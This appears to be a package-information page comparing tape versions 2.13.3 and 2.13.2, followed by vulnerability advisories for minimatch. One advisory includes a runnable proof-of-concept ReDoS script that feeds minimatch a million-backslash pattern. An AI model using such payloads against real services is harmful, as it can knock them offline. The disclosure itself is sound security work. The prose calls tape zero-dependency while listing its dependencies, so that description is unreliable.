Tape is a minimalist, zero-dependency test harness for Node.js and browsers, designed to output TAP-formatted results. Comparing versions 2.13.3 and 2.13.2 reveals only slight differences, suggesting bug fixes or minor improvements rather than substantial feature additions. Both versions share identical core dependencies: glob for file system path matching, defined and resumer for handling asynchronous operations, through for stream transformations, inherits for prototypal inheritance, deep-equal for robust object comparison, and object-inspect for inspecting JavaScript values. The development dependencies also remain constant, including tap for testing the test harness itself, falafel for AST analysis, and concat-stream for efficiently concatenating streams.
The key distinction lies in their release dates. Version 2.13.3 was published on June 12, 2014, approximately ten days after version 2.13.2, released on June 2, 2014. For developers using Tape, this implies that upgrading from 2.13.2 to 2.13.3 is likely a low-risk operation, addressing potential edge cases or subtle issues identified in the earlier release. The consistent dependency list reinforces the stability of the Tape ecosystem. Given the small difference betweeen the versions, developers should check the commit logs between the releases to determine the exact changes made. Tape remains a solid choice for developers favoring simplicity and adherence to the TAP standard and wanting a reliable and lightweight testing tool.
All the vulnerabilities related to the version 2.13.3 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch
are vulnerable to regular expression denial of service attacks when user input is passed into the pattern
argument of minimatch(path, pattern)
.
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.